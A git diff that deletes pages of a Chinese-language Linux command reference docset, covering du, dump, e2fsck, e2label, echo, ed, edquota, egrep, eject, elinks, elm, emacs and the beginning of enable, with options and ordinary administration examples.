--x, --one-file-xystem                  以一开始处理时的文件系统为准,若遇上其它不同的文件系统目录则略过。
--X<文件>, --exclude-from=<文件><文件>指定目录或文件。
---apparent-size                        显示表面用量,而并非是磁盘用量;虽然表面用量通常会小一些,但有时它会因为稀疏文件间的"洞"、内部碎片、非直接引用的块等原因而变大。
---files0-from=F                        计算文件F中以NUL结尾的文件名对应占用的磁盘空间如果F的值是"-",则从标准输入读入文件名
---exclude=<目录或文件>                 略过指定的目录或文件。
---max-depth=N                          显示目录总计(与--all 一起使用计算文件)当N为指定数值时计算深度为N,等于0时等同--summarize
---si                                   类似-h,但在计算时使用1000 为基底而非1024
---time                                 显示目录或该目录子目录下所有文件的最后修改时间
---time=WORD                            显示WORD时间,而非修改时间:atime,access,use,ctime 或status
---time-style=样式                      按照指定样式显示时间(样式解释规则同"date"命令):full-iso,long-iso,iso,+FORMAT
---help                                 显示此帮助信息并退出
---version                              显示版本信息并退出
-
-

实例

-

文件从大到小排序

-
ubuntu@VM-0-14-ubuntu:~/git-work/linux-command$ du -sh * |sort -rh
-2.9M    command
-1.9M    assets
-148K    template
-72K     package-lock.json
-52K     dist
-28K     build
-16K     README.md
-4.0K    renovate.json
-4.0K    package.json
-4.0K    LICENSE
-
-

只显示当前目录下子目录的大小。

-
ubuntu@VM-0-14-ubuntu:~/git-work/linux-command$ du -sh ./*/
-1.9M    ./assets/
-28K     ./build/
-2.9M    ./command/
-52K     ./dist/
-148K    ./template/
-
-

查看指定目录下文件所占的空间:

-
ubuntu@VM-0-14-ubuntu:~/git-work/linux-command/assets$ du ./*
-144     ./alfred.png
-452     ./chrome-extensions.gif
-4       ./dash-icon.png
-1312    ./Linux.gif
-16      ./qr.png
-
-

只显示总和的大小:

-
ubuntu@VM-0-14-ubuntu:~/git-work/linux-command/assets$ du -s .
-1932    .
-
-

显示总和的大小且易读:

-
ubuntu@VM-0-14-ubuntu:~/git-work/linux-command/assets$ du -sh .
-1.9M    .
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/dump.html b/linux-command.docset/Contents/Resources/Documents/c/dump.html deleted file mode 100644 index bbe59fcb34..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/dump.html +++ /dev/null @@ -1,101 +0,0 @@ - - - - - - - - - - - dump 命令,Linux dump 命令详解:用于备份ext2或者ext3文件系统 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

dump

-

用于备份ext2或者ext3文件系统

-

补充说明

-

dump命令 用于备份ext2或者ext3文件系统。可将目录或整个文件系统备份至指定的设备,或备份成一个大文件。

-

语法

-
dump(选项)(参数)
-
-

选项

-
-0123456789:备份的层级;
--b<区块大小>:指定区块的大小,单位为KB;
--B<区块数目>:指定备份卷册的区块数目;
--c:修改备份磁带预设的密度与容量;
--d<密度>:设置磁带的密度。单位为BPI;
--f<设备名称>:指定备份设备;
--h<层级>:当备份层级等于或大于指定的层级时,将不备份用户标示为“nodump”的文件;
--n:当备份工作需要管理员介入时,向所有“operator”群组中的使用者发出通知;
--s<磁带长度>:备份磁带的长度,单位为英尺;
--T<日期>:指定备份的时间与日期;
--u:备份完毕后,在/etc/dumpdates中记录备份的文件系统、层级、日期与时间等;
--w:与-W类似,但仅显示需要备份的文件;
--W:显示需要备份的文件及其最后一次备份的层级、时间与日期。
-
-

参数

-

备份源:指定要备份的文件、目录或者文件系统。

-

实例

-

/home目录所有内容备份到/tmp/homeback.bak文件中,备份层级为0并在/etc/dumpdates中记录相关信息:

-
‍dump -0u -f /tmp/homeback.bak /home
-
-

/home目录所有内容备份到/tmp/homeback.bak文件中,备份层级为1(只备份上次使用层次0备份后发生过改变的数据)并在/etc/dumpdates中记录相关信息:

-
dump -1u -f /tmp/homeback.bak /home
-
-

通过dump命令的备份层级,可实现完整+增量备份、完整+差异备份,在配合crontab可以实现无人值守备份。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/e2fsck.html b/linux-command.docset/Contents/Resources/Documents/c/e2fsck.html deleted file mode 100644 index 661808154c..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/e2fsck.html +++ /dev/null @@ -1,114 +0,0 @@ - - - - - - - - - - - e2fsck 命令,Linux e2fsck 命令详解:用于检查第二扩展文件系统的完整性 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

e2fsck

-

用于检查第二扩展文件系统的完整性

-

补充说明

-

e2fsck命令 用于检查第二扩展文件系统的完整性,通过适当的选项可以尝试修复出现的错误。

-

e2fsck执行后的传回值及代表意义如下:

-
    -
  • 0 没有任何错误发生。
  • -
  • 1 文件系统发生错误,并且已经修正。
  • -
  • 2 文件系统发生错误,并且已经修正。
  • -
  • 4 文件系统发生错误,但没有修正。
  • -
  • 8 运作时发生错误。
  • -
  • 16 使用的语法发生错误。
  • -
  • 128 共享的函数库发生错误。
  • -
-

语法

-
e2fsck(选项)(参数)
-
-

选项

-
-a:不询问使用者意见,便自动修复文件系统;
--b<superblock>:指定superblock,而不使用预设的superblock;
--B<区块大小>:指定区块的大小,单位为字节;
--c:一并执行badblocks,以标示损坏的区块;
--C:将检查过程的信息完整记录在file descriptor中,使得整个检查过程都能完整监控;
--d:显示排错信息;
--f:即使文件系统没有错误迹象,仍强制地检查正确性;
--F:执行前先清除设备的缓冲区;
--l<文件>:将文件中指定的区块加到损坏区块列表;
--L<文件>:先清除损坏区块列表,再将文件中指定的区块加到损坏区块列表。因此损坏区块列表的区块跟文件中指定的区块是一样的;
--n:以只读模式开启文件系统,并采取非互动方式执行,所有的问题对话均设置以"no"回答;
--p:不询问使用者意见,便自动修复文件系统;
--r:此参数只为了兼容性而存在,并无实际作用;
--s:如果文件系统的字节顺序不适当,就交换字节顺序,否则不做任何动作;
--S:不管文件系统的字节顺序,一律交换字节顺序;
--t:显示时间信息;
--v:执行时显示详细的信息;
--V:显示版本信息;
--y:采取非互动方式执行,所有的问题均设置以"yes"回答。
-
-

参数

-

文件系统或者分区:指定文件系统或者分区所对应的设备文件名。

-

实例

-

检查/dev/sda1是否有问题,如发现问题便自动修复:

-
e2fsck -a -y /dev/sda1
-
-

执行e2fsck或fsck前请先umount partition,否则有机会令档案系统毁损。如果需要对根目录/进行检查及修复,便需要进入singal user mode执行。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/e2label.html b/linux-command.docset/Contents/Resources/Documents/c/e2label.html deleted file mode 100644 index 6b94317c29..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/e2label.html +++ /dev/null @@ -1,94 +0,0 @@ - - - - - - - - - - - e2label 命令,Linux e2label 命令详解:设置第二扩展文件系统的卷标 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

e2label

-

设置第二扩展文件系统的卷标

-

补充说明

-

e2label命令 用来设置第二扩展文件系统的卷标。

-

语法

-
e2label(参数)
-
-

参数

-
    -
  • 文件系统:指定文件系统所对应的设备文件名;
  • -
  • 新卷标:为文件系统指定新卷标。
  • -
-

实例

-

许多用了多年Linux的人可能也没有用过e2label命令。但是这个命令相当有效。在介绍它之前,我们先看看/etc/fstab文件:

-
label=//ext3 defaults 1 1
-/dev/hda7 /usr ext3 defaults 1 1
-
-

第二行的意思很容易懂,就是把/dev/hda7 mount到/usr上。第一行没有指明分区,意思是把label(卷标)为/ 的分区mount到/上。这样写的好处在于即使如果把硬盘从主板上的ide0(hda) 换到ide2(hdc)上,系统仍然可以自动挂载正确的分区。通常Linux安装的时候已经自动指定了卷标。如果是手动增加的新分区,可以用下边的命令为 其指定卷标:

-
e2label /dev/hdax /new
-mkdir /new
-
-

然后在/etc/fstab里加入:

-
label=/new  /new  ext3  defaults  1 1
-
-

下次重新起动机器的时候,就会把卷标为/new的分区挂接到/new上。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/echo.html b/linux-command.docset/Contents/Resources/Documents/c/echo.html deleted file mode 100644 index 0b02d36859..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/echo.html +++ /dev/null @@ -1,114 +0,0 @@ - - - - - - - - - - - echo 命令,Linux echo 命令详解:输出指定的字符串或者变量 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

echo

-

输出指定的字符串或者变量

-

补充说明

-

echo命令 用于在shell中打印shell变量的值,或者直接输出指定的字符串。linux的echo命令,在shell编程中极为常用, 在终端下打印变量value的时候也是常常用到的,因此有必要了解下echo的用法echo命令的功能是在显示器上显示一段文字,一般起到一个提示的作用。

-

语法

-
echo(选项)(参数)
-
-

选项

-
-e:激活转义字符。
-
-

使用-e选项时,若字符串中出现以下字符,则特别加以处理,而不会将它当成一般文字输出:

-
    -
  • \a 发出警告声;
  • -
  • \b 删除前一个字符;
  • -
  • \c 不产生进一步输出 (\c 后面的字符不会输出);
  • -
  • \f 换行但光标仍旧停留在原来的位置;
  • -
  • \n 换行且光标移至行首;
  • -
  • \r 光标移至行首,但不换行;
  • -
  • \t 插入tab;
  • -
  • \v 与\f相同;
  • -
  • \\ 插入\字符;
  • -
  • \nnn 插入 nnn(八进制)所代表的ASCII字符;
  • -
-

参数

-

变量:指定要打印的变量。

-

实例

-

用echo命令打印带有色彩的文字:

-

文字色:

-
echo -e "\e[1;31mThis is red text\e[0m"
-This is red text
-
-
    -
  • \e[1;31m 将颜色设置为红色
  • -
  • \e[0m 将颜色重新置回
  • -
-

颜色码:重置=0,黑色=30,红色=31,绿色=32,黄色=33,蓝色=34,洋红=35,青色=36,白色=37

-

背景色

-
echo -e "\e[1;42mGreed Background\e[0m"
-Greed Background
-
-

颜色码:重置=0,黑色=40,红色=41,绿色=42,黄色=43,蓝色=44,洋红=45,青色=46,白色=47

-

文字闪动:

-
echo -e "\033[37;31;5mMySQL Server Stop...\033[39;49;0m"
-
-

红色数字处还有其他数字参数:0 关闭所有属性、1 设置高亮度(加粗)、4 下划线、5 闪烁、7 反显、8 消隐

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/ed.html b/linux-command.docset/Contents/Resources/Documents/c/ed.html deleted file mode 100644 index 9f773c78f6..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/ed.html +++ /dev/null @@ -1,93 +0,0 @@ - - - - - - - - - - - ed 命令,Linux ed 命令详解:单行纯文本编辑器 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

ed

-

单行纯文本编辑器

-

补充说明

-

ed命令 是单行纯文本编辑器,它有命令模式(command mode)和输入模式(input mode)两种工作模式。ed命令支持多个内置命令,常见内置命令如下:

-

语法

-
ed(选项)(参数)
-
-

选项

-
A # 切换到输入模式,在文件的最后一行之后输入新的内容;
-C # 切换到输入模式,用输入的内容替换掉最后一行的内容;
-i # 切换到输入模式,在当前行之前加入一个新的空行来输入内容;
-d # 用于删除最后一行文本内容;
-n # 用于显示最后一行的行号和内容;
-w # <文件名>:一给定的文件名保存当前正在编辑的文件;
-q # 退出ed编辑器。
-
-
-G或——traditional:提供兼容的功能;
--p<字符串>:指定ed在command mode的提示字符;
--s,-,--quiet或——silent:不执行开启文件时的检查功能;
---help:显示帮助;
---version:显示版本信息。
-
-

参数

-

文件:待编辑的文件。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/edquota.html b/linux-command.docset/Contents/Resources/Documents/c/edquota.html deleted file mode 100644 index 35eb5edd72..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/edquota.html +++ /dev/null @@ -1,186 +0,0 @@ - - - - - - - - - - - edquota 命令,Linux edquota 命令详解:用于编辑指定用户或工作组磁盘配额 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

edquota

-

用于编辑指定用户或工作组磁盘配额

-

补充说明

-

edquota命令 用于编辑指定用户或工作组磁盘配额。edquota预设会使用vi来编辑使用者或群组的quota设置。

-

语法

-
edquota(选项)(参数)
-
-

选项

-
-u:设置用户的quota,这是预设的参数;
--g:设置群组的quota;
--p<源用户名称>:将源用户的quota设置套用至其他用户或群组;
--t:设置宽限期限。
-
-

参数

-

用户:指定要编辑磁盘配额限制的用户名或者工作组。

-

实例

-

配置系统的磁盘配额支持

-

首先,磁盘配额是区域性的,我们可以决定哪块分区进行磁盘配额,哪块分区不用(自然也就不用配置了)。一般而言,作为一台web虚拟主机服务器,/home/www(或者类似的)是供用户存放资源的分区,所以可以对这两个分区进行磁盘配额。假定我们需要对/home分区实现用户级的限制,而对/www进行每个组的用户配额。

-

第一步:

-
vi /etc/fstab
-
-

找到对应于/home/www的行,例如:

-
/dev/sda5 /home ext2 defaults 1 2
-/dev/sda7 /www ext2 defaults 1 2
-
-

/home里实现用户级的磁盘配额,所以对sda5行的挂装选项域做如下修改:

-
/dev/sda5 /home ext2 defaults,usrquota 1 2
-
-

注意,是usrquota哦。类似的,我们可以如下修改/www行:

-
/dev/sda7 /www ext2 defaults,grpquota 1 2
-
-

如编辑根用户

-

/etc/fstab文件中

-
LABEL=/ / ext2 defaults,usrquota,grpquota 1 1
-
-

说明:/etc/fstab文件的每一行由六个字段组成:

-
    -
  • 第一个字段:文件系统(分区)的注释(类似卷标);
  • -
  • 第二个字段:文件系统的装载点;
  • -
  • 第三个字段:文件系统类型(磁盘配额只能在ext2文件系统上实现);
  • -
  • 第四个字段:装载文件系统是使用的选项,如果只想实现基于用户的磁盘配额,就加入usrquota关键字,只想实现基于组的磁盘配额,就加入grpqouta关键字,如果两者都需要,就全写入,中间可以用逗号分隔。
  • -
  • 第五个字段:表明该文件系统(分区)是否为只读,如果是0就表示只读,1表示可以读写。
  • -
  • 第六个字段:表示系统启动执行fsck时检查的顺序。
  • -
-

注意:请特别注意这里的拼写,是usrquota和grpquota,不要写成userquota和groupquota。

-

进入单用户模式,用quotacheck生成.user或.group文件

-

quotacheck 你的目录

-
example:quotacheck / ; quotacheck /home
-
-

如果单用户模式报错的话umount你的设备/dev/hda*

-

再执行就ok了,重启动系统,如果一切正常的话,quota将开始正常工作。

-

设置用户和组配额的分配量

-

对磁盘配额的限制一般是从一个用户占用磁盘大小和所有文件的数量两个方面来进行的。在具体操作之前,我们先了解一下磁盘配额的两个基本概念:软限制和硬限制。

-
    -
  • 软限制:一个用户在文件系统可拥有的最大磁盘空间和最多文件数量,在某个宽限期内可以暂时超过这个限制。
  • -
  • 硬限制:一个用户可拥有的磁盘空间或文件的绝对数量,绝对不允许超过这个限制。
  • -
-

通过edquota直接编辑数据文件:

-

使用编辑配额命令edquota为用户配置定额,在重新启动系统之后,我们假设lanf是需要定额的系统帐户,可以使用如下命令来为用户分配磁盘配额:

-
edquota -u lanf
-
-

这个命令将启动默认文本编辑器(如vi或其他由$EDITOR 环境变量指定的编辑器),其内容如下所示:

-
Quotas for user lanf:
-/dev/sda5:blocks in use:0,limits(soft = 0,hard = 0)
-inodes in use:0,limits(soft = 0,hard = 0)
-
-

这表示lanf用户在/dev/sda5分区(该分区已经在usrquota的控制之下)中迄今使用了0个数据块(以K为单位),并且没有设限制(包括软限制soft和硬限制hard),同样,lanf在这个分区也没有任何文件和目录,并且也没有任何软硬限制。如果,我们想对用户进行磁盘容量的限制的话,只需要修改blocks行的limits部分就可以了,注意单位使用的是K。例如要为lanf分配100M磁盘的软限制,400M硬限制,可以使用如下的设置:

-
Quotas for user lanf:
-/dev/sda5:blocks in use:0,limits(soft = 102400,hard = 409800)
-inodes in use:0,limits(soft = 0,hard = 0)
-
-

同样的,要对文件目录的数量限制可以相应的修改inodes行。我们也可以同时对这两项都作出限制。只需要如下的修改Quotas for user lanf:

-
/dev/sda5:blocks in use:0,limits(soft = 102400,hard = 409800)
-inodes in use:0,limits(soft = 12800,hard = 51200)
-
-

这表示除了相应的容量的限制外,还对文件/目录的数量做了12800个的软限制和51200个的硬限制。在保存了新的配置后,该用户的磁盘使用就不能超过硬限制。如果用户试图超过这个限制,该操作将被取消,然后得到一个错误信息。但是,如果每个用户都要这么麻烦的设置的话,那这种重复的体力劳动实在有点令人不寒而栗,而且也太浪费时间了。幸好edquota还有个-p参数(prototype)可以对已有的用户设置进行拷贝。例如,我们想对Jack、Tom、Chen三个用户使用和lanf一样的限额配置,可以使用如下的命令:

-
edquota -p lanf -u Jack Tom Chen
-
-

这样一来,这三个用户就被赋予了和lanf一样的磁盘配额。

-

对组的配额,除了edquota命令中对应-u选项的改为-g选项,例如下面对webterm1组的操作:

-
edquota -g webterm1
-
-

实际上,以上的限制只是对用户设定的硬限制在起作用。如果需要使软限制也起作用的话,还需要对用户的软限制设定宽限期,缺省的软限制的宽限期是无穷,这可以使用edquota命令的-t选项来实现。运行下面的命令:

-
edquota -t
-
-

edquota将打开缺省编辑器显示如下内容:

-
time units may be:days,hours,minutes,or seconds
-Grace period before enforcing soft limits for users:
-/dev/sda5:block grace period:0 days,file grace period:0 days
-
-

可以使用天、小时、分、秒为单位来设定宽限期。例如,在下面这个例子中,磁盘空间限制的宽限期为两天,而文件数量限制的宽限期只有6个小时。

-
Time units may be:days,hours,minutes,or seconds
-Grace period before enforcing soft limits for users:
-/dev/sda5:block grace period:2 days,file grace period:6 hours
-
-

通过setquota工具加入:

-

比如加入用户bye2000的磁盘配额,执行以下命令:

-
setquota –u / 2000 2500 100 110 bye2000
-
-

以下是setquota命令用法的简单描述:

-
setquota [ -u|-g ] 装载点 软块数 硬块数 软文件数 硬文件数 用户名/组名
-
-

查看用户磁盘使用情况

-

要查明某一个用户使用了多少磁盘空间,例如lanf,可以使用如下的命令:

-
quota -u lanf
-
-

显示:

-
Disk quotas for user lanf(uid 503):
-Filesystem blocks quota limit grace file quota limit grace
-/dev/sda5 3 102400 409800 1 12800 51200
-
-

同样,可以使用quota -g groupname命令来参看某个组的磁盘使用情况。

-

注意:

-
    -
  1. 如果该用户没有配置磁盘限额的话,输出显示Disk quotas for user hujm (uid 503): none
  2. -
  3. 如果不带任何参数运行quota的话,查看的是你自己的配额使用情况。
  4. -
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/egrep.html b/linux-command.docset/Contents/Resources/Documents/c/egrep.html deleted file mode 100644 index 4fe949cb16..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/egrep.html +++ /dev/null @@ -1,96 +0,0 @@ - - - - - - - - - - - egrep 命令,Linux egrep 命令详解:在文件内查找指定的字符串 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

egrep

-

在文件内查找指定的字符串

-

补充说明

-

egrep命令 用于在文件内查找指定的字符串。egrep执行效果与grep -E相似,使用的语法及参数可参照grep指令,与grep的不同点在于解读字符串的方法。egrep是用extended regular expression语法来解读的,而grep则用basic regular expression 语法解读,extended regular expression比basic regular expression的表达更规范。

-

语法

-
egrep(选项)(查找模式)(文件名1,文件名2,……)
-
-

实例

-

显示文件中符合条件的字符。例如,查找当前目录下所有文件中包含字符串"Linux"的文件,可以使用如下命令:

-
egrep Linux *
-
-

结果如下所示:

-
# 以下五行为 testfile 中包含Linux字符的行
-testfile:hello Linux!
-testfile:Linux is a free Unix-type operating system.
-testfile:This is a Linux testfile!
-testfile:Linux
-testfile:Linux
-
-# 以下两行为testfile1中含Linux字符的行
-testfile1:helLinux!
-testfile1:This a Linux testfile!
-
-# 以下两行为 testfile_2 中包含Linux字符的行
-testfile_2:Linux is a free unix-type opterating system
-testfile_2:Linux test
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/eject.html b/linux-command.docset/Contents/Resources/Documents/c/eject.html deleted file mode 100644 index b5ca611e4b..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/eject.html +++ /dev/null @@ -1,93 +0,0 @@ - - - - - - - - - - - eject 命令,Linux eject 命令详解:用来退出抽取式设备 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

eject

-

用来退出抽取式设备

-

补充说明

-

eject命令 用来退出抽取式设备。若设备已挂入,则eject命令会先将该设备卸除再退出。

-

eject允许可移动介质(典型是cd-ROM、软盘、磁带、或者JAZ以及zip磁盘)在软件控制下弹出。该命令也可以控制一些多盘片CD-ROM控制器,控制一些设备支持的自动弹出功能,以及控制一些CD-ROM驱动器磁盘托盘的关闭。与name相应的设备将被弹出,name可以为设备文件或者其挂载点,也可以为完整路径或者省略前面的/dev或者/mnt设备文件名。如果没有指定name,缺省使用cdrom。

-

有四种不同的弹出的方法,具体要看设备是CD-ROM, SCSI设备,可移动软盘,还是磁带而定。默认的弹出会依次尝试所有四种方法,直到成功为止。如果设备当前是挂载上来的,那么在弹出前要先卸载。

-

语法

-
eject(选项)(参数)
-
-

选项

-
-a<开关>或--auto<开关>:控制设备的自动退出功能;
--c<光驱编号>或--changerslut<光驱编号>   选择光驱柜中的光驱;
--d或--default:显示预设的设备,而不是实际执行动作;
--f或--floppy:退出抽取式磁盘;
--h或--help:显示帮助;
--n或--noop:显示指定的设备;
--q或--tape:退出磁带;
--r或--cdrom:退出光盘;
--s或--scsi:以SCSI指令来退出设备;
--t或--trayclose:关闭光盘的托盘;
--v或--verbose:执行时,显示详细的说明。
-
-

参数

-

设备名:指定弹出的设备名称。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/elinks.html b/linux-command.docset/Contents/Resources/Documents/c/elinks.html deleted file mode 100644 index 3f123c17af..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/elinks.html +++ /dev/null @@ -1,86 +0,0 @@ - - - - - - - - - - - elinks 命令,Linux elinks 命令详解:纯文本界面的WWW浏览器 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

elinks

-

纯文本界面的WWW浏览器

-

补充说明

-

elinks命令 能实现一个纯文本界面的WWW浏览器,操作方式与“lynx”类似。

-

语法

-
elinks(选项)(参数)
-
-

选项

-
-anonymous:是否使用匿名帐号方式;
--auto-submit:对于偶然遇到的第一个表单是否自动提交;
--config-dir:指定elinks指令运行时读取和写入自身的配置和运行状态的存放目录;
--dump:将HTML文档以纯文本的方式打印到标准输出设备;
--version:显示指令的版本信息;
--h:显示帮助信息。
-
-

参数

-

URL:指定要访问的URL地址。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/elm.html b/linux-command.docset/Contents/Resources/Documents/c/elm.html deleted file mode 100644 index b426324499..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/elm.html +++ /dev/null @@ -1,85 +0,0 @@ - - - - - - - - - - - elm 命令,Linux elm 命令详解:纯文本邮件客户端程序 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

elm

-

纯文本邮件客户端程序

-

补充说明

-

elm命令 是一个E-mail客户端管理程序,它提供了纯文本交互式全屏幕界面。

-

语法

-
elm(选项)
-
-

选项

-
-s<邮件主题>:指定新邮件的邮件主题;
--f<目录>:开启程序时,读取指定的目录;
--h:显示帮助;
--i<文件名>:将文件内容插入送出的邮件中;
--m:进入elm后,不显示指令说明;
--v:显示elm的版本信息;
--z:若收件信箱没有邮件,则不启动elm程序。
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/emacs.html b/linux-command.docset/Contents/Resources/Documents/c/emacs.html deleted file mode 100644 index f57a7afeb5..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/emacs.html +++ /dev/null @@ -1,182 +0,0 @@ - - - - - - - - - - - emacs 命令,Linux emacs 命令详解:功能强大的全屏文本编辑器 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

emacs

-

功能强大的全屏文本编辑器

-

补充说明

-

emacs命令 是由GNU组织的创始人Richard Stallman开发的一个功能强大的全屏文本编辑器,它支持多种编程语言,具有很多优良的特性。有众多的系统管理员和软件开发者使用emacs。

-

语法

-
emacs(选项)(参数)
-
-

选项

-
+<行号>:启动emacs编辑器,并将光标移动到制定行号的行;
--q:启动emacs编辑器,而不加载初始化文件;
--u<用户>:启动emacs编辑器时,加载指定用户的初始化文件;
--t<文件>:启动emacs编辑器时,把指定的文件作为中端,不适用标准输入(stdin)与标准输出(stdout);
--f<函数>:执行指定lisp(广泛应用于人工智能领域的编程语言)函数;
--l<lisp代码文件>:加载指定的lisp代码文件;
--batch:以批处理模式运行emacs编辑器。
-
-

参数

-

文件:指定要编辑的文本文件。

-

emacs命令操作大全

-

基本命令

-
C-x C-c : 退出Emacs
-C-x C-f : 打开一个文件,如果文件不存在,则创建一个文件
-C-g : 取消未完成的命令
-
-

编辑

-
C-z (redefined): Undo;原来C-z是挂起Emacs(然后用fg命令调出);C-x u 是默认的命令; 移动一下光标,再C-z就可以redo
-M-d : 删除光标后的词语
-
-

移动光标

-
C-v : 向前翻页
-M-v : 向后翻页
-M-r : 将光标移动到屏幕中间那行
-C-a : 移到行首
-M-a : 移到句首,从行首到句首之间可能有空格
-C-e : 移到行尾
-M-e : 移到句尾
-M-{ : 向上移动一段
-M-} : 向下移动一段
-C-right : 向前移动一个单词
-C-left : 向后移动一个单词
-C-up : 向前移动一段
-C-down : 向后移动一段
-M-< : 移到整个文本开头
-M-> : 移到整个文本末尾
-C-u 数字 命令 : 执行多次(数字表示次数)该命令;"M-数字 命令" 也可以
-M-x goto-line : 移动到某一行
-C-l : 重绘屏幕,效果就是当前编辑行移动窗口中央
-
-

Buffer 相关

-
C-x k : 关闭当前buffer
-C-x b : 切换到前一个编辑的buffer
-C-x C-b : 列出当前所有buffer
-C-x C-s : 保存当前buffer
-C-x s : 保存所有未保存的buffer,会提示你是否需要保存
-C-x C-w : 文件另存为
-
-

拷贝与粘贴

-
M-space (redefined): 设置mark; C-@ 是默认命令
-C-w (redefined) : 剪切一块区域;如果没有设置mark,则是剪切一行
-M-w (redefined) : 拷贝一块区域;如果没有设置mark, 则是拷贝一行
-C-k : 从当前位置剪切到行尾
-C-y : 粘贴
-M-y : 用C-y拉回最近被除去的文本后,换成 M-y可以拉回以前被除去的文本。键入多次的M-y可以拉回更早以前被除去的文本。
-C-x r k : 执行矩形区域的剪切
-C-x r y : 执行矩形区域的粘贴
-
-
窗口操作
-C-x 0 : 关闭当前窗口
-C-x 1 : 将当前窗口最大化
-C-x 2 : 垂直分割窗口
-C-x 3 : 水平分割窗口
-M-o (redefined) : 在窗口之间切换; C-x o 是默认命令
-C-x 5 1/2/3/0 : 对frame类似的操作
-C-x < : 窗口内容右卷
-C-x > : 窗口内容左卷(这两个命令在垂直分割窗口后比较有用)
-(C-u) C-x ^ : 加高当前窗口,如果有C-u,则每次加高4行
-(C-u) C-x } : 加宽当前窗口
-(C-u) C-x { : 压窄当前窗口
-ESC C-v : 在其它窗口进行卷屏操作
-
-

搜索和替换

-
C-s : 向前搜索(增量式搜索);连续C-s,跳到下一个搜索到的目标
-C-s RET : 普通搜索
-C-r : 向前搜索
-C-s RET C-w : 按单词查询
-M-% : 查询替换,也就是替换前会询问一下
-M-x replace-string : 普通替换
-
-

Tags

-
M-! etags .c .h : 创建TAGS文件
-M-. : 跳到tag所在位置
-M-x list-tags : 列出tags
-
-

书签

-
C-x r m : 设置书签bookmark
-C-x r b : 跳到bookmark处
-
-

帮助

-
C-h ? : 查看帮助信息
-C-h f : 查看一个函数
-C-h v : 查看一个变量
-C-h k : 查看一个键绑定 (C-h c 也是查看键绑定,但是信息较简略)
-C-h C-f : 查看一个函数的info,非常有用
-C-h i : 看Info
-
-

其它

-
C-M-\ : 对选中区域,按照某种格式(比如C程序)进行格式化
-C-x h : 全部选中
-M-! : 执行外部shell命令
-M-x shell : 模拟shell的buffer
-M-x term : 模拟terminal, C-c k 关闭terminal
-C-x C-q : 修改buffer的只读属性
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/enable.html b/linux-command.docset/Contents/Resources/Documents/c/enable.html deleted file mode 100644 index 6f6e40c925..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/enable.html +++ /dev/null @@ -1,168 +0,0 @@ - - - - - - - - - - - enable 命令,Linux enable 命令详解:启动或禁用shell内建命令 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

enable

-

启动或禁用shell内建命令

-

概要

-

enable [-a] [-dnps] [-f filename] [name ...]

-

主要用途

-
    -
  • -

    禁用一到多个内建命令。

    -
  • -
  • -

    启用一到多个内建命令。

    -
  • -
  • -

    直接调用与禁用的内建命令同名且在$PATH路径下找到的外部命令。

    -
  • -
  • -

    打印所有内建命令,无论是否禁用。

    -
  • -
  • -

    打印处于启用状态的内建命令。

    -
  • -
  • -

    打印处于禁用状态的内建命令。

    -
  • -
  • -

    打印处于启用状态的posix标准内建命令。

    -
  • -
  • -

    打印处于禁用状态的posix标准内建命令。

    -
  • -
  • -

    打印posix标准内建命令,无论是否禁用。

    -
  • -
  • -

    从动态库中加载内建命令。

    -
  • -
  • -

    移除从动态库中加载的内建命令。

    -
  • -
-

选项

-
-a 打印所有内建命令,无论是否禁用。
--d 移除从动态库中加载的内建命令。
